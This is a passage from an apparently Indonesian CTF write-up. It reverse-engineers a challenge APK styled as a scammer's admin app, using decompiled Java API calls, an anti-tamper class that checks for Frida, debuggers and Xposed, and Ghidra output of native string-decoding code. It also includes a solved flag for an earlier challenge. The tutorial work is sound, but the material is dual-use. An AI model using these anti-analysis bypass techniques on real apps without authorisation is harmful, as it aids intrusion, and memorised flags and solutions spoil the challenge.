    return s 
 
ns = target[:] 
for i in range(11, -1, -1): 
    ns = undo_round(ns, i) 
 
key = bytes(b for w in ns for b in (w & 0xFF, (w >> 8) & 0xFF)) 
print("Key bytes:", key) 
print("Key string:", key.decode('latin-1')) 

FLAG: IFEST26{CSS86B7K9M3P2R5Q} 

AI : https://chat.deepseek.com/share/jah0zfqbclmhcx4x5h 
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Surat Undangan Nikah Part 2 (491 Points) 
 

recently i managed to reverse engineer the famous 
surat_undangan_nikah.apk, it seems like this is an secret app where 
the scammer gather all victim data maybe theres something interesting 
in data's victim. 

Jadi pada challenge ini kita diberikan sebuah file apk make disini saya langsung menggunakan 

jadx untuk reverse isi file dari APK tersebut. disini saya menemukan sebuah class berikut. 

package com.ifest26.scammeradmin.api; 
 
import A0.h; 
import B0.m; 
import U.b; 
import U.c; 
import h0.d; 
import i.U; 
import org.json.JSONException; 
import org.json.JSONObject; 
import t0.p; 
import t0.r; 
import t0.t; 
import t0.u; 
import x0.i; 
 
/* loaded from: classes.dex */ 
public final class CustomerApi { 
    public static final CustomerApi INSTANCE = new CustomerApi(); 
 
    private CustomerApi() { 
    } 
 
    public static /* synthetic */ String getCustomers$default(CustomerApi customerApi, int i2, 
int i3, int i4, Object obj) { 
        if ((i4 & 2) != 0) { 
            i3 = 20; 
        } 
        return customerApi.getCustomers(i2, i3); 
    } 
 
    public final String dumpDetail(String str) throws JSONException { 
        u uVar; 
        d.e(str, "cid"); 
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        String str2 = b.f604c; 
        if (str2 == null) { 
            return null; 
        } 
        JSONObject jSONObject = new JSONObject(); 
        jSONObject.put("cid", str); 
        jSONObject.put("full", true); 
        String string = jSONObject.toString(); 
        d.d(string, "toString(...)"); 
        U uO = m.o(string, c.f605a); 
        r rVar = new r(); 
        rVar.d(((String) b.f603a.a()) + "/api/customer/detail"); 
        rVar.c("POST", uO); 
        String strConcat = "Bearer ".concat(str2); 
        d.e(strConcat, "value"); 
        C.d dVar = (C.d) rVar.f2281d; 
        dVar.getClass(); 
        B0.d.e("Authorization"); 
        B0.d.f(strConcat, "Authorization"); 
        dVar.u("Authorization", strConcat); 
        h hVarA = rVar.a(); 
        try { 
            p pVar = b.b; 
            pVar.getClass(); 
            t tVarC = new i(pVar, hVarA).c(); 
            try { 
                String strE = (!tVarC.d() || (uVar = tVarC.f2298g) == null) ? null : uVar.e(); 
                B0.d.h(tVarC, null); 
                return strE; 
            } finally { 
            } 
        } catch (Exception unused) { 
            return null; 
        } 
    } 
 
    public final String getCustomers(int i2, int i3) { 
        u uVar; 
        String str = b.f604c; 
        if (str == null) { 
            return null; 
        } 
        r rVar = new r(); 
        rVar.d(((String) b.f603a.a()) + "/api/customers?page=" + i2 + "&limit=" + i3); 
        String strConcat = "Bearer ".concat(str); 
        d.e(strConcat, "value"); 
        C.d dVar = (C.d) rVar.f2281d; 
        dVar.getClass(); 
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        B0.d.e("Authorization"); 
        B0.d.f(strConcat, "Authorization"); 
        dVar.u("Authorization", strConcat); 
        rVar.c("GET", null); 
        h hVarA = rVar.a(); 
        try { 
            p pVar = b.b; 
            pVar.getClass(); 
            t tVarC = new i(pVar, hVarA).c(); 
            try { 
                String strE = (!tVarC.d() || (uVar = tVarC.f2298g) == null) ? null : uVar.e(); 
                B0.d.h(tVarC, null); 
                return strE; 
            } finally { 
            } 
        } catch (Exception unused) { 
            return null; 
        } 
    } 
 
    public final String getNonce() { 
        r rVar = new r(); 
        rVar.d(((String) b.f603a.a()) + "/api/nonce"); 
        rVar.c("GET", null); 
        h hVarA = rVar.a(); 
        try { 
            p pVar = b.b; 
            pVar.getClass(); 
            t tVarC = new i(pVar, hVarA).c(); 
            try { 
                if (!tVarC.d()) { 
                    B0.d.h(tVarC, null); 
                    return null; 
                } 
                u uVar = tVarC.f2298g; 
                d.b(uVar); 
                String strOptString = new JSONObject(uVar.e()).optString("nonce_token"); 
                d.b(strOptString); 
                if (strOptString.length() <= 0) { 
                    strOptString = null; 
                } 
                B0.d.h(tVarC, null); 
                return strOptString; 
            } finally { 
            } 
        } catch (Exception unused) { 
            return null; 
        } 
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    } 
 
    public final String login(String str, String str2, String str3, String str4) throws 
JSONException { 
        d.e(str, "username"); 
        d.e(str2, "password"); 
        d.e(str3, "nonceToken"); 
        d.e(str4, "proof"); 
        JSONObject jSONObject = new JSONObject(); 
        jSONObject.put("username", str); 
        jSONObject.put("password", str2); 
        jSONObject.put("nonce_token", str3); 
        jSONObject.put("integrity_proof", str4); 
        String string = jSONObject.toString(); 
        d.d(string, "toString(...)"); 
        U uO = m.o(string, c.f605a); 
        r rVar = new r(); 
        rVar.d(((String) b.f603a.a()) + "/api/login"); 
        rVar.c("POST", uO); 
        h hVarA = rVar.a(); 
        try { 
            p pVar = b.b; 
            pVar.getClass(); 
            t tVarC = new i(pVar, hVarA).c(); 
            try { 
                if (!tVarC.d()) { 
                    B0.d.h(tVarC, null); 
                    return null; 
                } 
                u uVar = tVarC.f2298g; 
                d.b(uVar); 
                String strOptString = new JSONObject(uVar.e()).optString("token"); 
                d.b(strOptString); 
                if (strOptString.length() <= 0) { 
                    strOptString = null; 
                } 
                B0.d.h(tVarC, null); 
                return strOptString; 
            } finally { 
            } 
        } catch (Exception unused) { 
            return null; 
        } 
    } 
} 

Jadi di kode ini terdapat Method penting yaitu :  
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getNonce() = Ambil nonce token dari server (/api/nonce) 

login(username, password, nonceToken, proof) = Login ke server (/api/login) 

getCustomers(page, limit) = Ambil daftar customer (/api/customers?page=&limit=) 

dumpDetail(cid)​ Ambil detail customer = (/api/customer/detail) 

Lalu terdapat hal yang cukup penting juga yaitu :  

1.​ Base URL diambil dari b.f603a.a() = kemungkinan dari BuildConfig atau 

SharedPreferences. Nilai aslinya tidak kelihatan di file ini, tapi ada di class b 

(mungkin Config atau Prefs). 

2.​ Token auth disimpan di b.f604c, dipakai sebagai: 

Authorization: Bearer <token> 

3.​ Login memakai skema nonce + integrity proof 

4.​ HTTP client pakai OkHttp 

5.​ JSON pakai org.json.JSONObject 

Lalu disini saya lanjut analisis mencari kode lanjutnya. 

package com.ifest26.scammeradmin; 
 
import T.b; 
import T.f; 
import Y.i; 
import android.os.Bundle; 
import android.widget.Button; 
import android.widget.ProgressBar; 
import android.widget.TextView; 
import androidx.recyclerview.widget.LinearLayoutManager; 
import androidx.recyclerview.widget.RecyclerView; 
import e.AbstractActivityC0068j; 
import o0.AbstractC0206n; 
import o0.AbstractC0211t; 
import o0.C0203k; 
import o0.H; 
import o0.S; 
import q0.c; 
import q0.m; 
import s0.d; 
 
/* loaded from: classes.dex */ 

Presented by @hackitbraw_ub 



57 

public final class DashboardActivity extends AbstractActivityC0068j { 
 
    /* renamed from: A, reason: collision with root package name */ 
    public int f1199A; 
 
    /* renamed from: B, reason: collision with root package name */ 
    public boolean f1200B; 
 
    /* renamed from: x, reason: collision with root package name */ 
    public final c f1201x; 
 
    /* renamed from: y, reason: collision with root package name */ 
    public b f1202y; 
 
    /* renamed from: z, reason: collision with root package name */ 
    public int f1203z; 
 
    public DashboardActivity() { 
        d dVar = AbstractC0211t.f2014a; 
        p0.c cVar = m.f2089a; 
        S s2 = new S(null); 
        cVar.getClass(); 
        i iVarH = B0.m.H(cVar, s2); 
        this.f1201x = new c(iVarH.e(C0203k.b) == null ? iVarH.i(new H(null)) : iVarH); 
        this.f1203z = 1; 
        this.f1199A = 1; 
    } 
 
    public static final void p(DashboardActivity dashboardActivity, ProgressBar progressBar, 
TextView textView, TextView textView2, Button button, Button button2, int i2) { 
        if (dashboardActivity.f1200B) { 
            return; 
        } 
        dashboardActivity.f1200B = true; 
        progressBar.setVisibility(0); 
        AbstractC0206n.f(dashboardActivity.f1201x, new f(progressBar, dashboardActivity, 
textView, textView2, button, button2, i2, null)); 
    } 
 
    @Override // e.AbstractActivityC0068j, androidx.activity.j, android.app.Activity 
    public final void onCreate(Bundle bundle) { 
        super.onCreate(bundle); 
        setContentView(R.layout.activity_dashboard); 
        RecyclerView recyclerView = (RecyclerView) findViewById(R.id.rvCustomers); 
        ProgressBar progressBar = (ProgressBar) findViewById(R.id.progress); 
        TextView textView = (TextView) findViewById(R.id.tvInfo); 
        Button button = (Button) findViewById(R.id.btnPrev); 
        Button button2 = (Button) findViewById(R.id.btnNext); 
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        TextView textView2 = (TextView) findViewById(R.id.tvPage); 
        this.f1202y = new b(); 
        recyclerView.setLayoutManager(new LinearLayoutManager()); 
        b bVar = this.f1202y; 
        if (bVar == null) { 
            h0.d.h("adapter"); 
            throw null; 
        } 
        recyclerView.setAdapter(bVar); 
        button.setOnClickListener(new T.d(this, progressBar, textView, textView2, button, 
button2, 0)); 
        button2.setOnClickListener(new T.d(this, progressBar, textView, textView2, button, 
button2, 1)); 
        p(this, progressBar, textView, textView2, button, button2, 1); 
    } 
 
    @Override // e.AbstractActivityC0068j, android.app.Activity 
    public final void onDestroy() { 
        super.onDestroy(); 
        AbstractC0206n.a(this.f1201x); 
    } 
} 
 
package com.ifest26.scammeradmin; 
 
import Y.i; 
import android.os.Bundle; 
import android.widget.Button; 
import android.widget.EditText; 
import android.widget.ProgressBar; 
import android.widget.TextView; 
import e.AbstractActivityC0068j; 
import o0.AbstractC0206n; 
import o0.AbstractC0211t; 
import o0.C0203k; 
import o0.H; 
import o0.S; 
import q0.c; 
import q0.m; 
import s0.d; 
 
/* loaded from: classes.dex */ 
public final class LoginActivity extends AbstractActivityC0068j { 
 
    /* renamed from: y, reason: collision with root package name */ 
    public static final /* synthetic */ int f1204y = 0; 
 
    /* renamed from: x, reason: collision with root package name */ 

Presented by @hackitbraw_ub 



59 

    public final c f1205x; 
 
    public LoginActivity() { 
        d dVar = AbstractC0211t.f2014a; 
        p0.c cVar = m.f2089a; 
        S s2 = new S(null); 
        cVar.getClass(); 
        i iVarH = B0.m.H(cVar, s2); 
        this.f1205x = new c(iVarH.e(C0203k.b) == null ? iVarH.i(new H(null)) : iVarH); 
    } 
 
    @Override // e.AbstractActivityC0068j, androidx.activity.j, android.app.Activity 
    public final void onCreate(Bundle bundle) { 
        super.onCreate(bundle); 
        setContentView(R.layout.activity_login); 
        IntegrityGuard.INSTANCE.start(); 
        EditText editText = (EditText) findViewById(R.id.etUsername); 
        EditText editText2 = (EditText) findViewById(R.id.etPassword); 
        Button button = (Button) findViewById(R.id.btnLogin); 
        button.setOnClickListener(new T.d(editText, editText2, (TextView) 
findViewById(R.id.tvError), button, (ProgressBar) findViewById(R.id.progress), this)); 
    } 
 
    @Override // e.AbstractActivityC0068j, android.app.Activity 
    public final void onDestroy() { 
        super.onDestroy(); 
        AbstractC0206n.a(this.f1205x); 
    } 
} 

Di kode ini ternya terdapat Logic Activity , Dashboard Activity , Lalu isi masing masing Activity 

tersebut terdapat apa aja? 

Login Activity :  

setContentView(R.layout.activity_login) = tampilkan layout login. 

IntegrityGuard.INSTANCE.start() = jalankan pemeriksaan integritas. Ini kode yang bikin login 

pakai integrity_proof tadi. 

Dashboard Activity :  

setContentView(R.layout.activity_dashboard) → tampilkan dashboard. isi nya semua untuk 

tampilan dashboard aja sih tidak ada yang terlalu penting. 
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Lalu disini saya lanjut analisis di class Integrity Guard 

package com.ifest26.scammeradmin; 
 
import T.g; 
 
/* loaded from: classes.dex */ 
public final class IntegrityGuard { 
    public static final IntegrityGuard INSTANCE = new IntegrityGuard(); 
    private static final Thread THREAD; 
 
    static { 
        Thread thread = new Thread(new g()); 
        thread.setDaemon(true); 
        THREAD = thread; 
    } 
 
    private IntegrityGuard() { 
    } 
 
    /* JADX INFO: Access modifiers changed from: private */ 
    public static final void THREAD$lambda$0() throws InterruptedException { 
        while (true) { 
            if (INSTANCE.isCompromised()) { 
                NativeBridge.INSTANCE.reportThreat(); 
            } 
            Thread.sleep(3000L); 
        } 
    } 
 
    /* JADX WARN: Code restructure failed: missing block: B:10:0x002a, code lost: 
     
        if (n0.d.X(r1, "gum-js") != false) goto L11; 
     */ 
    /* JADX WARN: Removed duplicated region for block: B:31:0x008d  */ 
    /* JADX WARN: Removed duplicated region for block: B:33:0x0090 A[RETURN] */ 
    /* 
        Code decompiled incorrectly, please refer to instructions dump. 
        To view partially-correct code enable 'Show inconsistent code' option in preferences 
    */ 
    private final boolean isCompromised() throws java.lang.ClassNotFoundException { 
        /* 
            r6 = this; 
            r0 = 0 
            boolean r1 = android.os.Debug.isDebuggerConnected() 
            r2 = 1 
            if (r1 == 0) goto L9 
            return r2 
        L9: 
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            java.io.File r1 = new java.io.File     // Catch: java.lang.Exception -> L2d 
            java.lang.String r3 = "/proc/self/maps" 
            r1.<init>(r3)     // Catch: java.lang.Exception -> L2d 
            java.lang.String r1 = B0.m.L(r1)     // Catch: java.lang.Exception -> L2d 
            java.lang.String r3 = "frida" 
            boolean r3 = n0.d.X(r1, r3)     // Catch: java.lang.Exception -> L2d 
            if (r3 != 0) goto L2c 
            java.lang.String r3 = "gadget" 
            boolean r3 = n0.d.X(r1, r3)     // Catch: java.lang.Exception -> L2d 
            if (r3 != 0) goto L2c 
            java.lang.String r3 = "gum-js" 
            boolean r1 = n0.d.X(r1, r3)     // Catch: java.lang.Exception -> L2d 
            if (r1 == 0) goto L2d 
        L2c: 
            return r2 
        L2d: 
            java.io.File r1 = new java.io.File     // Catch: java.lang.Exception -> L91 
            java.lang.String r3 = "/proc/self/status" 
            r1.<init>(r3)     // Catch: java.lang.Exception -> L91 
            java.lang.String r1 = B0.m.L(r1)     // Catch: java.lang.Exception -> L91 
            java.util.List r1 = n0.d.e0(r1)     // Catch: java.lang.Exception -> L91 
            java.util.Iterator r1 = r1.iterator()     // Catch: java.lang.Exception -> L91 
        L40: 
            boolean r3 = r1.hasNext()     // Catch: java.lang.Exception -> L91 
            if (r3 == 0) goto L56 
            java.lang.Object r3 = r1.next()     // Catch: java.lang.Exception -> L91 
            r4 = r3 
            java.lang.String r4 = (java.lang.String) r4     // Catch: java.lang.Exception -> L91 
            java.lang.String r5 = "TracerPid:" 
            boolean r4 = n0.l.V(r4, r5, r0)     // Catch: java.lang.Exception -> L91 
            if (r4 == 0) goto L40 
            goto L57 
        L56: 
            r3 = 0 
        L57: 
            java.lang.String r3 = (java.lang.String) r3     // Catch: java.lang.Exception -> L91 
            if (r3 == 0) goto L8d 
            java.lang.String r1 = ":" 
            r4 = 6 
            int r4 = n0.d.b0(r3, r1, r0, r0, r4)     // Catch: java.lang.Exception -> L91 
            r5 = -1 
            if (r4 != r5) goto L66 
            goto L78 
        L66: 
            int r1 = r1.length()     // Catch: java.lang.Exception -> L91 
            int r1 = r1 + r4 
            int r4 = r3.length()     // Catch: java.lang.Exception -> L91 
            java.lang.String r3 = r3.substring(r1, r4)     // Catch: java.lang.Exception -> L91 
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            java.lang.String r1 = "substring(...)" 
            h0.d.d(r3, r1)     // Catch: java.lang.Exception -> L91 
        L78: 
            java.lang.CharSequence r1 = n0.d.l0(r3)     // Catch: java.lang.Exception -> L91 
            java.lang.String r1 = r1.toString()     // Catch: java.lang.Exception -> L91 
            if (r1 == 0) goto L8d 
            java.lang.Integer r1 = n0.k.Q(r1)     // Catch: java.lang.Exception -> L91 
            if (r1 == 0) goto L8d 
            int r1 = r1.intValue()     // Catch: java.lang.Exception -> L91 
            goto L8e 
        L8d: 
            r1 = r0 
        L8e: 
            if (r1 == 0) goto L91 
            return r2 
        L91: 
            java.lang.String r1 = "de.robv.android.xposed.XposedBridge" 
            java.lang.Class.forName(r1)     // Catch: java.lang.ClassNotFoundException -> L97 
            return r2 
        L97: 
            return r0 
        */ 
        throw new UnsupportedOperationException("Method not decompiled: 
com.ifest26.scammeradmin.IntegrityGuard.isCompromised():boolean"); 
    } 
 
    public final void start() { 
        NativeBridge.INSTANCE.startGuard(); 
        THREAD.start(); 
    } 
} 
 
package B0; 
 
import java.lang.reflect.InvocationTargetException; 
import java.lang.reflect.Method; 
import java.security.cert.TrustAnchor; 
import java.security.cert.X509Certificate; 
import javax.net.ssl.X509TrustManager; 
 
/* loaded from: classes.dex */ 
public final class b implements F0.d { 
 
    /* renamed from: a, reason: collision with root package name */ 
    public final X509TrustManager f113a; 
    public final Method b; 
 
    public b(X509TrustManager x509TrustManager, Method method) { 
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        this.f113a = x509TrustManager; 
        this.b = method; 
    } 
 
    @Override // F0.d 
    public final X509Certificate a(X509Certificate x509Certificate) throws 
IllegalAccessException, IllegalArgumentException, InvocationTargetException { 
        try { 
            Object objInvoke = this.b.invoke(this.f113a, x509Certificate); 
            h0.d.c(objInvoke, "null cannot be cast to non-null type 
java.security.cert.TrustAnchor"); 
            return ((TrustAnchor) objInvoke).getTrustedCert(); 
        } catch (IllegalAccessException e2) { 
            throw new AssertionError("unable to get issues and signature", e2); 
        } catch (InvocationTargetException unused) { 
            return null; 
        } 
    } 
 
    public final boolean equals(Object obj) { 
        if (this == obj) { 
            return true; 
        } 
        if (!(obj instanceof b)) { 
            return false; 
        } 
        b bVar = (b) obj; 
        return h0.d.a(this.f113a, bVar.f113a) && h0.d.a(this.b, bVar.b); 
    } 
 
    public final int hashCode() { 
        return this.b.hashCode() + (this.f113a.hashCode() * 31); 
    } 
 
    public final String toString() { 
        return "CustomTrustRootIndex(trustManager=" + this.f113a + ", 
findByIssuerAndSignatureMethod=" + this.b + ')'; 
    } 
} 

Intinya di kode ini berfungsi sebagai anti-analisis : Mendeteksi APK ini sedang dimodifikasi 

atau analisis dan Custom Trust Manager (SSL Certificate) ini harus nya sudah bawaan. Maka 

disini saya lanjut analisis kode decompiler selanjutnya. 

package com.ifest26.scammeradmin; 
 
/* loaded from: classes.dex */ 
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public final class NativeBridge { 
    public static final NativeBridge INSTANCE = new NativeBridge(); 
 
    static { 
        System.loadLibrary("scammeradmin"); 
    } 
 
    private NativeBridge() { 
    } 
 
    public final native String checkLicense(); 
 
    public final native String computeProof(String str); 
 
    public final native String getServerUrl(); 
 
    public final native void reportThreat(); 
 
    public final native void startGuard(); 
} 

Disini saya menemukan System.loadLibrary("scammeradmin") artinya library native-nya 

adalah: 

lib/arm64-v8a/libscammeradmin.so 
lib/armeabi-v7a/libscammeradmin.so 
lib/x86/libscammeradmin.so 
lib/x86_64/libscammeradmin.so 

dan juga terdapat method disini :  

checkLicense() = Return string  
computeProof(String) = Hitung proof login 
getServerUrl() = Base URL server  
reportThreat() = Lapor ancaman 
startGuard()​ = Aktifkan guard 

Maka disini agar mempermudah juga saya unzip file dari apk tersebut, dan menjadi lebih 

mudah untuk reverse app nya. Maka setelah bertanya dengan deepseek untuk selanjutnya saya 

mencoba reverse file dari libscammeradmin.so dan juga disini target class dari JNI_OnLoad dan 

berikut hasil dari decompile di ghidra 

/* WARNING: Removing unreachable block (ram,0x0016121b) */ 
/* WARNING: Removing unreachable block (ram,0x0016111b) */ 
/* WARNING: Removing unreachable block (ram,0x0016113d) */ 
/* WARNING: Removing unreachable block (ram,0x00161240) */ 
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/* WARNING: Type propagation algorithm not settling */ 
 
undefined8 JNI_OnLoad(long *param_1) 
 
{ 
  byte bVar1; 
  int iVar2; 
  undefined8 uVar3; 
  long lVar4; 
  long lVar5; 
  long in_FS_OFFSET; 
  undefined4 *local_160; 
  undefined8 *local_158; 
  code *local_150; 
  ulong local_148; 
  undefined8 local_140; 
  undefined8 *local_138; 
  long *local_130; 
  byte local_128; 
  undefined8 local_127; 
  undefined5 uStack_11f; 
  undefined2 uStack_11a; 
  undefined1 uStack_118; 
  undefined5 uStack_117; 
  undefined2 uStack_112; 
  undefined1 local_110 [8]; 
  undefined8 local_108; 
  undefined8 *local_100; 
  byte local_f8; 
  undefined8 local_f7; 
  undefined5 uStack_ef; 
  undefined2 uStack_ea; 
  undefined1 uStack_e8; 
  undefined5 uStack_e7; 
  undefined2 uStack_e2; 
  undefined4 local_e0; 
  undefined1 local_dc; 
  void *local_d0; 
  undefined4 local_c8; 
  undefined1 local_c4; 
  void *local_b8; 
  byte local_a8; 
  undefined4 local_a7; 
  undefined1 uStack_a3; 
  undefined2 uStack_a2; 
  undefined1 uStack_a0; 
  undefined4 local_9f; 
  undefined1 uStack_9b; 
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  undefined4 *local_98; 
  byte local_90; 
  undefined4 local_8f; 
  undefined1 uStack_8b; 
  undefined2 uStack_8a; 
  undefined1 uStack_88; 
  undefined4 local_87; 
  undefined1 uStack_83; 
  undefined4 *local_80; 
  byte local_78; 
  undefined4 local_77; 
  undefined1 uStack_73; 
  undefined2 uStack_72; 
  undefined1 uStack_70; 
  undefined4 local_6f; 
  undefined1 uStack_6b; 
  undefined4 *local_68; 
  undefined8 local_60; 
  undefined4 local_58; 
  undefined4 *local_50; 
  byte local_48; 
  undefined4 local_47; 
  undefined1 uStack_43; 
  undefined2 uStack_42; 
  undefined1 uStack_40; 
  undefined4 local_3f; 
  undefined1 uStack_3b; 
  undefined4 *local_38; 
  long local_28; 
   
  local_28 = *(long *)(in_FS_OFFSET + 0x28); 
  local_130 = (long *)0x0; 
  iVar2 = (**(code **)(*param_1 + 0x30))(param_1,&local_130,0x10006); 
  uVar3 = 0xffffffff; 
  if (iVar2 == 0) { 
    local_138 = (undefined8 *)operator.new(0x30); 
    local_148 = 0x31; 
    local_140 = 0x25; 
    local_138[2] = 0; 
    local_138[3] = 0; 
    *local_138 = 0; 
    local_138[1] = 0; 
    *(undefined8 *)((long)local_138 + 0x1e) = 0; 
    for (lVar4 = 0; *(byte *)((long)local_138 + lVar4) = (&DAT_00141eb0)[lVar4] ^ 0x5a, 
        lVar4 != 0x24; lVar4 = lVar4 + 2) { 
      *(byte *)((long)local_138 + lVar4 + 1) = (&DAT_00141eb1)[lVar4] ^ 0x5a; 
    } 
                    /* try { // try from 00160f66 to 00160f68 has its CatchHandler @ 0016164c */ 
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    lVar4 = (**(code **)(*local_130 + 0x30))(local_130,local_138); 
    if (lVar4 == 0) { 
      uVar3 = 0xffffffff; 
    } 
    else { 
      local_a8 = 0x18; 
      uStack_9b = 0; 
      local_a7 = 0x63656863; 
      uStack_a3 = 0x6b; 
      uStack_a2 = 0x694c; 
      uStack_a0 = 99; 
      local_9f = 0x65736e65; 
      local_90 = 0x18; 
      uStack_83 = 0; 
      local_8f = 0x706d6f63; 
      uStack_8b = 0x75; 
      uStack_8a = 0x6574; 
      uStack_88 = 0x50; 
      local_87 = 0x666f6f72; 
      local_78 = 0x18; 
      uStack_6b = 0; 
      local_77 = 0x53746567; 
      uStack_73 = 0x65; 
      uStack_72 = 0x7672; 
      uStack_70 = 0x65; 
      local_6f = 0x6c725572; 
      local_60 = 0x7547747261747314; 
      local_58 = 0x647261; 
      local_48 = 0x18; 
      uStack_3b = 0; 
      local_47 = 0x6f706572; 
      uStack_43 = 0x72; 
      uStack_42 = 0x5474; 
      uStack_40 = 0x68; 
      local_3f = 0x74616572; 
      local_128 = 0x28; 
      local_158 = &local_127; 
      local_127 = 0; 
      uStack_11f = 0; 
      uStack_11a = 0; 
      uStack_118 = 0; 
      uStack_117 = 0; 
      lVar5 = 0; 
      do { 
        bVar1 = (&DAT_00141ee1)[lVar5]; 
        *(byte *)((long)local_158 + lVar5) = (&DAT_00141ee0)[lVar5] ^ 0x5a; 
        *(byte *)((long)&local_127 + lVar5 + 1) = bVar1 ^ 0x5a; 
        lVar5 = lVar5 + 2; 
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      } while (lVar5 != 0x14); 
                    /* try { // try from 00161144 to 0016114d has its CatchHandler @ 0016163d */ 
      local_100 = (undefined8 *)operator.new(0x30); 
      local_110 = (undefined1  [8])0x31; 
      local_108 = 0x26; 
      local_100[2] = 0; 
      local_100[3] = 0; 
      *local_100 = 0; 
      local_100[1] = 0; 
      *(undefined8 *)((long)local_100 + 0x1f) = 0; 
      lVar5 = 0; 
      do { 
        bVar1 = (&DAT_00141f01)[lVar5]; 
        *(byte *)((long)local_100 + lVar5) = (&DAT_00141f00)[lVar5] ^ 0x5a; 
        *(byte *)((long)local_100 + lVar5 + 1) = bVar1 ^ 0x5a; 
        lVar5 = lVar5 + 2; 
      } while (lVar5 != 0x26); 
      local_f8 = 0x28; 
      local_f7 = 0; 
      uStack_ef = 0; 
      uStack_ea = 0; 
      uStack_e8 = 0; 
      uStack_e7 = 0; 
      lVar5 = 0; 
      do { 
        bVar1 = (&DAT_00141ee1)[lVar5]; 
        *(byte *)((long)&local_f7 + lVar5) = (&DAT_00141ee0)[lVar5] ^ 0x5a; 
        *(byte *)((long)&local_f7 + lVar5 + 1) = bVar1 ^ 0x5a; 
        lVar5 = lVar5 + 2; 
      } while (lVar5 != 0x14); 
      local_dc = 0; 
      local_e0 = 0x56292806; 
      local_c4 = 0; 
      local_c8 = 0x56292806; 
      local_160 = &local_a7; 
      if ((local_a8 & 1) != 0) { 
        local_160 = local_98; 
      } 
      if ((local_128 & 1) != 0) { 
        local_158 = (undefined8 *)CONCAT26(uStack_112,CONCAT51(uStack_117,uStack_118)); 
      } 
      local_150 = FUN_00161820; 
                    /* try { // try from 001612ac to 00161468 has its CatchHandler @ 00161661 */ 
      (**(code **)(*local_130 + 0x6b8))(local_130,lVar4,&local_160,1); 
      local_160 = local_80; 
      if ((local_90 & 1) == 0) { 
        local_160 = &local_8f; 
      } 

Presented by @hackitbraw_ub 



69 

      local_158 = local_100; 
      if (((ulong)local_110 & 1) == 0) { 
        local_158 = (undefined8 *)(local_110 + 1); 
      } 
      local_150 = FUN_00161c00; 
      (**(code **)(*local_130 + 0x6b8))(local_130,lVar4,&local_160,1); 
      local_160 = local_68; 
      if ((local_78 & 1) == 0) { 
        local_160 = &local_77; 
      } 
      if ((local_f8 & 1) == 0) { 
        local_158 = &local_f7; 
      } 
      else { 
        local_158 = (undefined8 *)CONCAT26(uStack_e2,CONCAT51(uStack_e7,uStack_e8)); 
      } 
      local_150 = FUN_00162210; 
      (**(code **)(*local_130 + 0x6b8))(local_130,lVar4,&local_160,1); 
      local_160 = local_50; 
      if ((local_60 & 1) == 0) { 
        local_160 = (undefined4 *)((long)&local_60 + 1); 
      } 
      local_158 = (undefined8 *)local_d0; 
      if ((local_e0 & 1) == 0) { 
        local_158 = (undefined8 *)((long)&local_e0 + 1); 
      } 
      local_150 = FUN_00162320; 
      (**(code **)(*local_130 + 0x6b8))(local_130,lVar4,&local_160,1); 
      local_160 = local_38; 
      if ((local_48 & 1) == 0) { 
        local_160 = &local_47; 
      } 
      local_158 = (undefined8 *)local_b8; 
      if ((local_c8 & 1) == 0) { 
        local_158 = (undefined8 *)((long)&local_c8 + 1); 
      } 
      local_150 = FUN_00162370; 
      (**(code **)(*local_130 + 0x6b8))(local_130,lVar4,&local_160); 
                    /* try { // try from 00161469 to 00161487 has its CatchHandler @ 0016165f */ 
      pthread_create((pthread_t *)&local_160,(pthread_attr_t *)0x0,FUN_00162380,(void 
*)0x0); 
      pthread_detach((pthread_t)local_160); 
      if ((local_c8 & 1) != 0) { 
        operator.delete(local_b8); 
      } 
      if ((local_e0 & 1) != 0) { 
        operator.delete(local_d0); 
      } 
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      if ((local_f8 & 1) != 0) { 
        operator.delete((void *)CONCAT26(uStack_e2,CONCAT51(uStack_e7,uStack_e8))); 
      } 
      if (((ulong)local_110 & 1) != 0) { 
        operator.delete(local_100); 
      } 
      if ((local_128 & 1) != 0) { 
        operator.delete((void *)CONCAT26(uStack_112,CONCAT51(uStack_117,uStack_118))); 
      } 
      if ((local_48 & 1) != 0) { 
        operator.delete(local_38); 
      } 
      if ((local_60 & 1) != 0) { 
        operator.delete(local_50); 
      } 
      if ((local_78 & 1) != 0) { 
        operator.delete(local_68); 
      } 
      if ((local_90 & 1) != 0) { 
        operator.delete(local_80); 
      } 
      if ((local_a8 & 1) != 0) { 
        operator.delete(local_98); 
      } 
      uVar3 = 0x10006; 
    } 
    if ((local_148 & 1) != 0) { 
      operator.delete(local_138); 
    } 
  } 
  if (*(long *)(in_FS_OFFSET + 0x28) != local_28) { 
                    /* WARNING: Subroutine does not return */ 
    __stack_chk_fail(); 
  } 
  return uVar3; 
} 

Nah dari hasil decompile tersebut kita juga mendapat method yang sama seperti sebelumnya 

yaitu : checkLicense , computeproof, getServerURL, startguard, reportThreat. Maka selanjutnya 

disini saya coba analisis fungsi dari CheckLicense, getServerUrl dan proofCompute di ghidra 

dan berikut hasil decompile code nya 

Check License : 
 
/* WARNING: Type propagation algorithm not settling */ 
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */ 
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undefined8 FUN_00161820(long *param_1) 
 
{ 
  uint uVar1; 
  char *pcVar2; 
  size_t sVar3; 
  void *pvVar4; 
  undefined1 (*pauVar5) [16]; 
  char *__dest; 
  undefined8 uVar6; 
  ulong uVar7; 
  long in_FS_OFFSET; 
  undefined8 local_b8; 
  size_t local_b0; 
  char *local_a8; 
  undefined8 local_a0; 
  size_t local_98; 
  void *local_90; 
  ulong local_88; 
  undefined8 uStack_80; 
  void *local_78; 
  undefined8 local_68; 
  undefined8 uStack_60; 
  void *local_58; 
  uint local_50; 
  byte local_4c; 
  undefined1 local_4b; 
  ulong local_48; 
  ulong uStack_40; 
  long local_30; 
   
  local_30 = *(long *)(in_FS_OFFSET + 0x28); 
  uVar1 = 
CONCAT13(DAT_001d5f83,CONCAT12(DAT_001d5f82,CONCAT11(DAT_001d5f81,DAT_001d
5f80))); 
  local_4b = 0; 
  local_50 = uVar1 ^ SUB164(_DAT_00141d60,0); 
  local_4c = DAT_001d5f84 ^ 0x52; 
  local_48 = CONCAT17(DAT_001d5f87, 
                      
CONCAT16(DAT_001d5f86,CONCAT15(DAT_001d5f85,CONCAT14(DAT_001d5f84,uVar1))) ) 
^ 
             SUB168(_DAT_00141e30,0); 
  uStack_40 = (ulong)(CONCAT16(DAT_001d5f8e, 
                               CONCAT15(DAT_001d5f8d, 
                                        CONCAT14(DAT_001d5f8c, 
                                                 CONCAT13(DAT_001d5f8b, 
                                                          CONCAT12(DAT_001d5f8a, 
